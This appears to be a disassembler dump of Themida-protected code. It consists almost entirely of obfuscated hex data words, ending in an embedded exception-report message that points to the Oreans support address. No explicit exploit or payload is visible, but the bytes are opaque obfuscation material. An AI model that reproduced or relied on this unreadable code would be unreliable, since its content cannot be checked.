		dd 24448104h, 1D04h, 0C3524200h, 3C2F452h, 4E67242Dh, 953134B1h
		dd 5E22CD9h, 95C28166h,	2D95FFAAh, 8A05E211h, 0FC085ECh
		dd 685h, 0FD952900h, 8005E218h,	0E50738BDh, 850F0005h
		dd 2Dh,	0B65958Bh, 83E905E2h, 66000015h, 5F28D981h, 0DE860h
		dd 89AF0000h, 0DE044324h, 838B1488h, 8BFCE1F5h,	8D8B58DFh
		dd 5E20141h, 55BD8361h,	5E226h,	34850Fh, 9D310000h, 5E20BEDh
		dd 0BE2BD83h, 0F0005E5h, 5E84h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0F3048656h
		dd 858D7B48h, 5E4FBFCh,	0F2D28166h, 14E980h, 0AD4F0000h
		dd 0AECF6CAAh, 92FEBAACh, 51CD8048h, 0CC0C065Ch, 0F7E9C127h
		dd 31000014h, 0E21C1DBDh, 15E905h, 958B0000h, 5E205E5h
		dd 8DC88B66h, 0E4FBE785h, 79958B05h, 5005E21Bh,	14E8h
		dd 61229400h, 0D040E661h, 0EC3C2B12h, 0E1B8462Bh, 0DD571AA9h
		dd 0E58D89B4h, 5A05E200h, 0FC5F858Dh, 0BF5005E4h, 15D2E16h
		dd 42BF505Fh, 8359EC8Ah, 0E22655BDh, 840F0005h,	50h, 88A0BA66h
		dd 0FD85858Dh, 8E905E4h, 0BD000000h, 7B61FCDCh,	53F4D604h
		dd 2890Fh, 0C88B0000h, 51E95Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 270982C3h
		dd 6D8D03B4h, 6605E230h, 0F2CFD181h, 0FD6E858Dh, 6A05E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0CFBB5BC3h, 50D08B66h, 1CD9958Bh, 858D05E2h,	5E4FDBDh
		dd 29A98589h, 0BD0105E2h, 5E22489h, 0FBBF0F50h,	2C2995FFh
		dd 0C88B05E2h, 3125958Bh, 0C48305E2h, 598D0310h, 0E905E21Bh
		dd 9, 4A2CDF90h, 78EAA00Ah, 0E9C08B5Ah,	7, 7A608BC3h, 52849073h
		dd 8359D18Ah, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
		dd 8B535019h, 7D3B8C0h,	85890000h, 5E2315Dh, 0B2FA9D8Dh
		dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h,	7D3B853h
		dd 85890000h, 5E2315Dh,	0AFE99D8Dh, 0D3FF05E4h,	6A585Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8B1BF4C3h, 81C08BD6h, 0E4FBE7BDh, 65726F05h,	7E840F61h
		dd 8D000000h, 0E4FC5F85h, 858D5005h, 5E4FD9Ch, 0BD858D50h
		dd 5005E4FDh, 2C2995FFh, 0C48305E2h, 4985C60Ch,	4405E20Ah
		dd 0A3184F68h, 2DB5FF96h, 8D05E226h, 0E239ED85h, 8BD0FF05h
		dd 0BD858DD8h, 5005E4FDh, 858DD3FFh, 5E4FBE7h, 5F858D50h
		dd 5005E4FCh, 2655BD83h, 740005E2h, 85858D08h, 0EB05E4FDh
		dd 6E858D06h, 5005E4FDh, 0FDBD858Dh, 0FF5005E4h, 0E22C2995h
		dd 10C48305h, 8B7BF280h, 4195FFFEh, 6605E20Ch, 0FF25FE8Bh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0CE71C352h, 6A609B8Ah,	0D78B6469h
		dd 83CE8B66h, 830F05F8h, 6Bh, 21C1958Bh, 85C705E2h, 5E217B5h
		dd 1, 4359589h,	858D05E2h, 5E4FC1Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 1BC35141h, 0D93380AEh, 2612AD67h
		dd 89E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 8C1E172Dh, 0A06EBF96h, 83F802A2h
		dd 0E22655BDh, 840F0005h, 49h, 6820Fh, 958B0000h, 5E21FC9h
		dd 0FC46858Dh, 0BD8905E4h, 5E22A91h, 0D718D0Bh,	33E905E2h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 94E2C353h, 788DC0B7h, 8B6644B7h
		dd 28858DCFh, 8B05E4FCh, 0E205718Dh, 8589FC05h,	5E4FC5Bh
		dd 8BF8B70Fh, 0E205ADBDh, 55BD8305h, 5E226h, 29850Fh, 0BD830000h
		dd 5E50BE2h, 4B840F00h,	0E8000000h, 13h, 0C681F244h, 0A0DA9AD5h
		dd 4E5BAF5Ah, 0FA5F8C9Dh, 800EC887h, 0E9595EF2h, 117Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 36C35242h
		dd 8D8B4421h, 5E2168Dh,	471BD8Bh, 42E905E2h, 8B000005h
		dd 0E2013595h, 0E9C08B05h, 13h,	28379394h, 0BCA79A00h
		dd 6AE093Bh, 0C95546FEh, 83DD127Ah, 0E21EA9BDh,	9750005h
		dd 1805BD83h, 740005E2h, 8B535019h, 7D4B8C0h, 85890000h
		dd 5E2315Dh, 0B2FA9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h
		dd 50177400h, 7D4B853h,	85890000h, 5E2315Dh, 0AFE99D8Dh
		dd 0D3FF05E4h, 0B589585Bh, 5E231B5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0AFC35646h,	49636BD0h, 0EEB7027Fh
		dd 8D895003h, 5E20FADh,	3C08B5Fh, 0E2145DBDh, 3F6805h
		dd 0C680000Fh, 3006A33h, 0E215A195h, 6A006A05h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 6171C352h, 0C13A4FD6h, 95FFFC66h, 5E21421h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3BC35343h, 594BA251h
		dd 0DE9EC1Dh, 75000000h, 2764797h, 88101048h, 38D6A006h
		dd 561BD23h, 0C08505E2h, 6850Fh, 85890000h, 5E21E55h, 0FBDF8589h
		dd 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0ABA1A5C3h, 0FB982EBh, 389h, 0FB8B6600h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0BACA55C3h, 2B33D4DCh, 6A006Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7DC35747h, 722AE0F2h
		dd 0DE20E048h, 1379BD03h, 6A05E2h, 24F9BD29h, 6A05E2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6EC35545h
		dd 0FC558B76h, 858D6F28h, 5E4FDBDh, 1761B589h, 9D0105E2h
		dd 5E21D09h, 0BE950h, 0D5B30000h, 0A3F1BC65h, 87D56564h
		dd 56016AEDh
		dd 0A7E18166h, 16A5A15h, 52D958Bh, 16A05E2h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 73C35141h, 14F59D89h
		dd 0FF6805E2h, 0E9000F01h, 0Fh,	776DED50h, 9E6C6BBBh, 54EB4589h
		dd 831B86A7h, 0E22655BDh, 840F0005h, 84h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0FFC35747h, 7EF4AE47h
		dd 5A762F56h, 0B58D89A5h, 8D05E229h, 0E4FC3C85h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 5CFFEC70h, 6E95574h,	0E3000000h, 15DD7E1Dh, 10E835h
		dd 0AC520000h, 6E82DE7Eh, 1D056BB2h, 9981AFE0h,	0BD8B261Ch
		dd 5E21A01h, 12E959h, 0C7810000h, 54791610h, 0FC12858Dh
		dd 8D8905E4h, 5E222E5h,	15BD8B50h, 5005E21Ah, 0A75B589h
		dd 0B5FF05E2h, 5E4FBDFh, 8424BF66h, 0FBCB95FFh,	952B05E4h
		dd 5E21EA5h, 5DBD33h, 0C08505E2h, 32850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 958BD9C3h, 5E21C59h,	35E9h, 8DBD0B00h, 6605E20Dh, 0D761D281h
		dd 0FBE38589h, 0B5FF05E4h, 5E4FBE3h, 19E18529h,	95FF05E2h
		dd 5E203C9h, 0C0852CB1h, 8850Fh, 89570000h, 0E22B6995h
		dd 106A5A05h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	35C35747h, 10C18031h, 2655BD83h, 0F0005E2h, 6184h
		dd 14E800h, 0B8D30000h,	0FE3A0AE4h, 55D1912h, 13C51Fh
		dd 332BA79Fh, 860F991Ah, 1, 858D5AF5h, 5E4FC3Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1EC35747h, 0AE9AC166h
		dd 1958B91h, 0F05E211h,	8589FFBFh, 5E21881h, 11E9h, 0EA816600h
		dd 858D857Eh, 5E4FC12h,	1F85BD89h, 0E95005E2h, 6, 61B8C65Ah
		dd 0B5FFF95Fh, 5E4FBDFh, 0EE8h,	0AE97D600h, 5BD61584h
		dd 51394387h, 2975F290h, 0E22F9595h, 95FF5905h,	5E4FBD7h
		dd 9E9h, 0FC431C00h, 9991199Eh,	0C085C90Ch, 12850Fh, 8B0F0000h
		dd 6, 7C98D03h,	8D8905E2h, 5E2075Dh, 0FBE38589h, 6A05E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0EA8CB2C3h, 0E52EA72Ch, 0FFB70F88h, 0C840Fh,	8D0F0000h
		dd 6, 5ED958Bh,	6A05E2h, 0EE80006Ah, 0E3B5FFE7h, 8105E4FBh
		dd 359799E7h, 0CF95FF45h, 6A05E4FBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2839C352h
		dd 2DA3C882h, 890CAB44h, 0E21FD1B5h, 0FC08505h,	685h, 9FC78100h
		dd 0FF532E81h, 0E4FBE3B5h, 0FF0CB605h, 0E203C995h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0B08EDF22h, 33ACABA4h, 0E204118Dh, 0FC08505h, 0C85h
		dd 7E900h, 95A0000h, 0D91F29EFh, 0F006A2Bh, 28Ah, 68D38B00h
		dd 80h,	2A899D29h, 36A05E2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 19C35646h, 6E2C83F4h, 0B9BCF434h
		dd 6546FAA5h, 1C52E9B9h, 66006A2Eh, 0BF0FFB8Bh,	56006AFBh
		dd 685A5956h, 0C0000000h, 1A39BD89h, 0B5FF05E2h, 5E4FC5Bh
		dd 5195FFF9h, 8B05E22Bh, 0E23191BDh, 0FFF88305h, 4F8850Fh
		dd 0BA660000h, 85FFEBEDh, 5E506C9h, 0BD83FA8Bh,	5E506C9h
		dd 0E5840F02h, 6A000003h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 89E6C350h, 0CE1D73FDh
		dd 11E85Eh, 93AE0000h, 959FFE71h, 61D2D080h, 3EFEAEF1h
		dd 31FD8AC0h, 0E21809B5h, 858D5905h, 5AF59Fh, 18FD9589h
		dd 0D0FF05E2h, 4E9958Bh, 858D05E2h, 5AEFF2h, 28B0Fh, 0C88B0000h
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 9AD28BC3h, 0ACD2BDD1h, 81C08BFEh,	88B3EDDFh
		dd 0A9BD8345h, 5E21Eh, 0BD830975h, 5E21805h, 50197400h
		dd 0B8C08B53h, 7D8h, 315D8589h,	9D8D05E2h, 5E4B2FAh, 585BD3FFh
		dd 1805BD83h, 740005E2h, 0B8535017h, 7D8h, 315D8589h, 9D8D05E2h
		dd 5E4AFE9h, 585BD3FFh,	23698D8Bh, 0C08B05E2h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 57C35141h, 0FA16E893h
		dd 8A607338h, 0D9BD29DEh, 6105E231h, 0F003F68h,	699D8900h
		dd 6A05E231h, 10E900h, 42560000h, 3E68A4CFh, 6DFD6B8Ah
		dd 0B275B587h, 6A7EC0h,	0AAD8529h, 95FF05E2h, 5E21421h
		dd 0EE8h, 0F140CD00h, 0A113A7Fh, 0E8A1D0C5h, 8B9B9F84h
		dd 0E204FD8Dh, 0C0855A05h, 1F15BD01h, 858905E2h, 5E4FBDFh
		dd 41E98166h, 1FF68CFh,	81F8000Fh, 520DD9F1h, 55BD832Fh
		dd 5E226h, 1C840Fh, 81660000h, 8D2D33C2h, 0E4FC3C85h, 45B50105h
		dd 0E905E20Ah, 12h, 0C798D8Bh, 858D05E2h, 5E4FC12h, 0FCEBF0Fh
		dd 8950CBB7h, 0E229A18Dh, 0DFB5FF05h, 6A05E4FBh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 5C98C353h, 8D31239Fh, 5E20FDDh, 0FBD795FFh, 816605E4h
		dd 89BDF1C1h, 0E4FBE385h, 85C7FC05h, 5E20A31h, 0
		dd 0FBE3BD83h, 0F0005E4h, 1CC84h, 7E800h, 0ABB40000h, 8E73D81Ch
		dd 0CA8166FCh, 8D5F14F9h, 0E4FEC185h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0B966DB29h, 0E950768Fh, 8, 0EF773182h, 0B5D9C197h, 6A016Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0BCD2EDC3h, 0BAD86DB4h, 0E9A34C92h, 0Dh, 32DB08Dh, 0D7C2C046h
		dd 0DCA9CBE3h, 0FFE0B628h, 0E4FBE3B5h, 0F606005h, 810FD9B7h
		dd 0
		dd 5E961h, 970D0000h, 613CDD0Fh, 0FBDB95FFh, 958B05E4h
		dd 5E21559h, 0FBE3B5FFh, 0BF6605E4h, 860FCAD0h,	6, 47DBD8Bh
		dd 95FF05E2h, 5E203C9h,	2AB98D8Bh, 0FF6805E2h, 81000F01h
		dd 0B75CADC1h, 55BD8335h, 5E226h, 19840Fh, 0B70F0000h
		dd 3C858DC9h, 8905E4FCh, 0E205718Dh, 13E905h, 81660000h
		dd 8DD922C9h, 0E4FC1285h, 0B9958B05h, 0B105E210h, 6A50ACh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8B6662C3h, 0DFB5FFD0h, 6A05E4FBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B3D4C351h
		dd 4738AEA3h, 9767F3B1h, 0FE9h,	5FD9300h, 0FE51BFFFh, 0C0E6E17Fh
		dd 0A25DA4A2h, 0FBD795FFh, 0DE8005E4h, 0E385899Ah, 0FF05E4FBh
		dd 0E4FBE3B5h, 558D8905h, 0FF05E218h, 0E4FBD395h, 6880F05h
		dd 8B000000h, 0E231B98Dh, 0E3B5FF05h, 6A05E4FBh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 2D47C350h, 81FA2900h, 4BEF8CD2h, 0C995FF71h,	0B105E203h
		dd 0F65BE937h, 9E9FFFFh, 0F4000000h, 0FFE985DCh, 34BF7CB3h
		dd 72CB5FFh, 958B05E5h,	5E22F9Dh, 0B1595FFh, 0BD8905E2h
		dd 5E2044Dh, 416CE781h,	858B591Fh, 5E22B19h, 0CE9h, 0E8BA0E00h
		dd 3E3EB4B7h, 0B352D000h, 577E9E1h, 0B70F0000h,	0E1B58DFEh
		dd 5205E4FEh, 7BEC31B9h, 9589595Fh, 5E21E49h, 0ACE6858Dh
		dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 6FDAB3C3h, 1869D6C3h, 93BA66ECh, 6AD0FFA1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 86EDC357h, 0ED4646A1h, 1506813h, 0E207258Dh
		dd 8EB15F05h, 95FF006Ah, 5E20405h, 11E9h, 700F1400h, 899DCD94h
		dd 0ECB47DDAh, 6F69B703h, 0F38B9D58h, 8DC9BF0Fh, 0E4ACE685h
		dd 0CB8B6605h, 18519533h, 0D0FF05E2h, 21A1BD0Bh, 6A05E2h
		dd 8259D09h, 95FF05E2h,	5E20405h, 0D7E8EA81h, 0C08B603Dh
		dd 0D8C78166h, 0D781663Fh, 0BD83BDD5h, 5E21EA9h, 83097500h
		dd 0E21805BDh, 19740005h, 0C08B5350h, 7D9B8h, 5D858900h
		dd 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h
		dd 53501774h, 7D9B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh
		dd 5BD3FF05h, 0E9816658h, 6AB693h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 66B45C3h, 20BEF1D1h
		dd 1F2494Ch, 0E218199Dh, 0FC08B05h, 681h, 0C98D8900h, 8B05E223h
		dd 6A50D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 705EDAC3h, 0FFBFD88Bh, 53424965h,	31DD9D8Dh
		dd 38B05E2h, 438B0389h,	50438950h, 6C59D8Dh, 38B05E5h
		dd 8B5B0389h, 0E20E39BDh, 0C8B70F05h, 0C23611B9h, 8B006A7Bh
		dd 0E2221595h, 0C5858D05h, 8B05E506h, 0E21DDD8Dh, 958B5005h
		dd 5E21681h, 0D180606Ah, 0DD858D23h, 8B05E231h,	0E222FD95h
		dd 11E85005h, 0FE000000h, 16D5AAACh, 84BA326Dh,	0BFA2BDE1h
		dd 33C453DAh, 10E9h, 591C7A00h,	465A9148h, 0B59C1D89h
		dd 6CE8597Ch, 0EA815905h, 65ADF9B6h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 9FE34BC3h
		dd 0B551006Ah, 685AEBh,	66000018h, 6053CA8Bh, 60D2EE80h
		dd 0A29BD89h, 5BBF05E2h, 61787D91h, 0E595FF61h,	8105E223h
		dd 0EABD79E1h, 69BD8B14h, 0FF05E20Eh, 0E20A5995h, 0E5B58905h
		dd 0FF05E214h, 0E5072CB5h, 0D68B6605h, 0B1595FFh, 6A05E2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0DD4009C3h, 8D71AB77h, 0E231DD85h, 95895605h, 5E2003Dh
		dd 18408B5Fh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	0D6C35040h, 85C7640Ah, 5E21A7Dh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9EC35545h
		dd 7E8EA6Dh, 1C000000h,	0FED4B221h, 8D0BAB04h, 5E20C3Dh
		dd 0BD83F85Ah, 5E22655h, 43840F00h, 29000000h, 0E21CD58Dh
		dd 8C3D05h, 830F0000h, 17Ch, 65F18166h,	37E926h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0EA601BC3h, 795E35B8h, 16AD9589h, 963D05E2h,	0F000000h
		dd 13F83h, 0D9BF6600h, 9F858DD3h, 89005AF5h, 0E2197185h
		dd 89D0FF05h, 0E22A758Dh, 0F2858D05h, 0FF005AEFh, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0EA890D1Ah, 3F8A8A07h, 9FB973E4h, 8B1BACBAh,	0BD83FCC0h
		dd 5E21EA9h, 83097500h,	0E21805BDh, 19740005h, 0C08B5350h
		dd 0BC6B8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h
		dd 5BD8358h, 5E218h, 53501774h,	0BC6B8h, 5D858900h, 8D05E231h
		dd 0E4AFE99Dh, 5BD3FF05h, 9DB58958h, 8905E209h,	0E22CB185h
		dd 89C08B05h, 0E2221D8Dh, 0FFF88305h, 26850Fh, 0B70F0000h
		dd 6585C7FAh, 5E222h, 23000000h, 0E2119D95h, 101E905h
		dd 9D890000h, 5E21185h,	51E9h, 0FFBF0F00h, 0F01F883h, 4585h
		dd 10E800h, 0E0840000h,	78EB894Ch, 4D4D8775h, 7F6C7A8Bh
		dd 958B350Fh, 5E22F8Dh,	117E95Ah, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 59E917C3h
		dd 0BBC302D3h, 8AE93D97h, 0E9FFFFF1h, 0Ch, 0B0133577h
		dd 61CC6673h, 0F239826Bh, 0B70FC08Bh, 7E9F8h, 0CF040000h
		dd 0D4011236h, 0A9BD83C7h, 5E21Eh, 0BD830975h, 5E21805h
		dd 50197400h, 0B8C08B53h, 7DDh,	315D8589h, 9D8D05E2h, 5E4B2FAh
		dd 585BD3FFh, 1805BD83h, 740005E2h, 0B8535017h,	7DDh, 315D8589h
		dd 9D8D05E2h, 5E4AFE9h,	585BD3FFh, 4D1B589h, 0D78B05E2h
		dd 0BF0FC08Bh, 250E9D7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 24E06CC3h, 8DEFC728h
		dd 0E504C985h, 8589F805h, 5E506C1h, 10E9h, 5C539200h, 82608308h
		dd 0D39824D0h, 178EFCD3h, 56E949h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 71F254C3h
		dd 0A09748AFh, 0CE0434BAh, 0D1858D14h, 2905E502h, 0E221499Dh
		dd 0FE94005h, 65000000h, 0B6A26A4Bh, 13CB1D1Eh,	871434CEh
		dd 858952F2h, 5E506C1h,	0F9953353h, 5905E221h, 858D346Ah
		dd 5E21AB9h, 0C1B5FF50h, 6A05E506h, 6D95FF00h, 8305E22Ah
		dd 840F07F8h, 162h, 0F6DB8C66h,	850F04C3h, 0FCh, 0A4985C6h
		dd 685605E2h, 9CA8B852h, 262DB5FFh, 858D05E2h, 5E239EDh
		dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 0E5073485h
		dd 4985C605h, 4705E20Ah, 18AC9B68h, 2DB5FFECh, 8D05E226h
		dd 0E239ED85h, 0FFD0FF05h, 0C6F08BD0h, 0E20A4985h, 61684F05h
		dd 0FFC62F26h, 0E21189B5h, 0ED858D05h, 0FF05E239h, 309D8DD0h
		dd 5305E507h, 0FF56286Ah, 75C085D0h, 4985C600h,	4105E20Ah
		dd 87649868h, 89B5FFDBh, 8D05E211h, 0E239ED85h,	89D0FF05h
		dd 0E5074D85h, 4985C605h, 4C05E20Ah, 0A4E7A468h, 89B5FF80h
		dd 8D05E211h, 0E239ED85h, 8BD0FF05h, 0E507349Dh, 45B8D05h
		dd 399D8D53h, 5305E507h, 0D0FF006Ah, 7349D8Bh, 3C705E5h
		dd 1, 20C43C7h,	0C7000000h, 0E21A5D85h,	5, 6A006A00h, 8B006A00h
		dd 0E507349Dh, 6A5305h,	730B5FFh, 95FF05E5h, 5E5074Dh
		dd 0A4985C6h, 684505E2h, 92A5F797h, 150DB5FFh, 858D05E2h
		dd 5E239EDh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
		dd 7349D8Bh, 43C705E5h,	0Ch, 6A006A00h,	349D8B00h, 5305E507h
		dd 0B5FF006Ah, 5E50730h, 74D95FFh, 0B5FF05E5h, 5E50730h
		dd 0A5995FFh, 6A05E2h, 40595FFh, 6A05E2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 492EE3C3h
		dd 982B1E5Ch, 9FF6CF81h, 858D32D8h, 5E53C0Ch, 8BFB8B66h
		dd 0E22F8D95h, 0B70F5005h, 35FF64CFh, 0
		dd 2F8D8589h, 896405E2h, 25h, 719D8900h, 8305E210h, 0E21CA1BDh
		dd 840F0005h, 50h, 0BD83CE8Bh, 5E200B9h, 41850F01h, 66000000h
		dd 806CA2BAh, 0E50B4DBDh, 850F0005h, 30h, 0D0B70F53h, 194E95Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0C985FCC3h, 8D8B53CAh, 5E207ADh, 8A50DB33h
		dd 0C0335FEBh, 0EE8h, 667C2C00h, 953ECDC7h, 0E5C521D9h
		dd 0E9B9001Dh, 14h, 2595528Ah, 7B92ED3h, 3E27E353h, 0F4CF924Fh
		dd 982A6629h, 3F0F4059h, 8F640B07h, 5, 4C48300h, 68E0Fh
		dd 0BD890000h, 5E21D79h, 0FF9958Bh, 0FB8305E2h,	15840FFFh
		dd 0F000000h, 0FDE9FBB7h, 0E9000000h, 8, 74F952E6h, 635E5F90h
		dd 7BE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 3659468h,	0E20BA995h, 23C18105h
		db 0, 0C0h, 40h
byte_5218C3	db 8Bh			; DATA XREF: Themida_:004EE414o
					; Themida_:004EFA30o ...
		dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h
		dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 5E53C2Eh, 0B8838Bh
		dd 858D0000h, 5E53CD7h,	0B88389h, 335D0000h, 8D0FC3C0h
		dd 6, 2529952Bh, 0BD8B05E2h, 5E23039h, 3C24858Dh, 0BD8905E5h
		dd 5E22279h, 0FD8D0B50h, 8B05E20Ah, 0E20C25BDh,	35FF6405h
		dd 0
		dd 5860Fh, 0D9BF0000h, 0E9501641h, 0Bh,	0B7531B71h, 0A7B6DD39h
		dd 642E1F48h, 2589h, 95890000h,	5E219E9h, 0AB9h, 0D704B800h
		dd 64054855h, 0BB0DF781h, 8685D465h, 34B640BAh,	0E8EA8100h
		dd 0ED00345Fh, 5868FB81h, 0A75564Dh, 13C585C7h,	105E2h
		dd 8F640000h, 5, 4C48300h, 1C0DBD8Bh, 0D78B05E2h, 0C08B74B2h
		dd 8354E680h, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
		dd 8B535019h, 43DB8C0h,	85890000h, 5E21DD5h, 0B3619D8Dh
		dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h,	43DB853h
		dd 85890000h, 5E21DD5h,	0B0029D8Dh, 0D3FF05E4h,	0FE9585Bh
		dd 54000000h, 96CC4D74h, 8AF858E4h, 175B0605h, 6AD98Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0FE796FC3h, 43212FD7h, 4399D89h, 9D8905E2h, 5E217BDh
		dd 3AE9C08Bh, 4000001h,	31000000h, 3535382Eh, 7	dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
		dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
		dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
		dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
		dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
		dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
		dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
		dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
		dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
		dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
		dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
		dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
		dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 85BD8300h
		dd 5E206h, 12D840Fh, 858D0000h,	5E4AE19h, 83858D50h, 5005E4ADh
		dd 168h, 2995FF80h, 8D05E4AEh, 0E53D8485h, 858D5005h, 5E53D8Eh
		dd 6A006A50h, 97858D00h, 5005E4ADh, 0AE19B5FFh,	95FF05E4h
		dd 5E20469h, 3D84858Dh,	8D5005E5h, 0E53D9285h, 6A5005h
		dd 858D006Ah, 5E4ADA9h,	19B5FF50h, 0FF05E4AEh, 0E2046995h
		dd 84858D05h, 5005E53Dh, 3D9E858Dh, 6A5005E5h, 8D006A00h
		dd 0E4ADF685h, 0B5FF5005h, 5E4AE19h, 46995FFh, 858D05E2h
		dd 5E53D84h, 0A6858D50h, 5005E53Dh, 6A006Ah, 0AE14858Dh
		dd 0FF5005E4h, 0E4AE19B5h, 6995FF05h, 8D05E204h, 0E53D8485h
		dd 858D5005h, 5E53DA2h,	6A006A50h, 0FD858D00h, 5005E4ADh
		dd 0AE19B5FFh, 95FF05E4h, 5E20469h, 3D84858Dh, 8D5005E5h
		dd 0E53D9685h, 6A5005h,	858D006Ah, 5E4AE05h, 19B5FF50h
		dd 0FF05E4AEh, 0E2046995h, 84858D05h, 5005E53Dh, 3D9A858Dh
		dd 6A5005E5h, 8D006A00h, 0E4AE0C85h, 0B5FF5005h, 5E4AE19h
		dd 46995FFh, 0B5FF05E2h, 5E4AE19h, 0BFD95FFh, 0A2E905E2h
